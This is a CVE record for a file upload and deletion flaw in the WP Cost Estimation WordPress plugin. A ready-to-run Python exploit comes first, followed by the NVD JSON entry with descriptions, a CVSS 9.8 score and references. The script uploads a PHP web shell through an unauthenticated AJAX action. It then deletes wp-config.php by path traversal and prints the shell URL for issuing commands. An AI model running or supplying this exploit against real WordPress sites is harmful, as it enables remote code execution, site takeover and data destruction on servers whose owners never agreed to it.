CVE-2019-25296

import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' # Step 1: Upload malicious PHP file upload_url = f'{target}/wp-admin/admin-ajax.php' payload = '<?php system($_GET["cmd"]); ?>' files = { 'reqType': 'file', 'uploadFile': ('shell.php', payload, 'application/x-php') } data = {'action': 'lfb_upload_form'} print('[+] Uploading malicious file...') response = requests.post(upload_url, data=data, files=files) print(f'Response: {response.text}') # Step 2: Delete wp-config.php print('[+] Deleting wp-config.php...') delete_data = { 'action': 'lfb_removeFile', 'file': '../wp-config.php' } delete_response = requests.post(upload_url, data=delete_data) print(f'Delete response: {delete_response.text}') print('[+] Exploitation completed. Check for uploaded shell at:') print(f'{target}/wp-content/uploads/lfb_uploads/shell.php?cmd=whoami')

{"cve": {"id": "CVE-2019-25296", "sourceIdentifier": "[email protected]", "published": "2026-01-08T03:15:41.970", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Cost Estimation plugin for WordPress is vulnerable to arbitrary file uploads and deletion due to missing file type validation in the lfb_upload_form and lfb_removeFile AJAX actions in versions up to, and including, 9.642. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected sites server which may make remote code execution possible. Additionally, the attacker can also delete files on the server such as database configuration files, subsequently uploading their own database files."}, {"lang": "es", "value": "El plugin WP Cost Estimation para WordPress es vulnerable a la carga y eliminación arbitraria de archivos debido a la falta de validación del tipo de archivo en las acciones AJAX lfb_upload_form y lfb_removeFile en versiones hasta la 9.642, inclusive. Esto hace posible que atacantes no autenticados carguen archivos arbitrarios en el servidor de los sitios afectados, lo que puede hacer posible la ejecución remota de código. Además, el atacante también puede eliminar archivos en el servidor, como archivos de configuración de la base de datos, cargando posteriormente sus propios archivos de base de datos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://wpscan.com/vulnerability/9219", "source": "[email protected]"}, {"url": "https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-wp-cost-estimation-payment-forms-builder-multiple-vulnerabilities-9-642/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/blog/2019/02/vulnerabilities-patched-in-wp-cost-estimation-plugin/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ae50aa5d-95e3-4650-9dbf-118b4ba3abda?source=cve", "source": "[email protected]"}, {"url": "https://www.zdnet.com/article/another-wordpress-commercial-plugin-gets-exploited-in-the-wild/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/blog/2019/02/vulnerabilities-patched-in-wp-cost-estimation-plugin/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}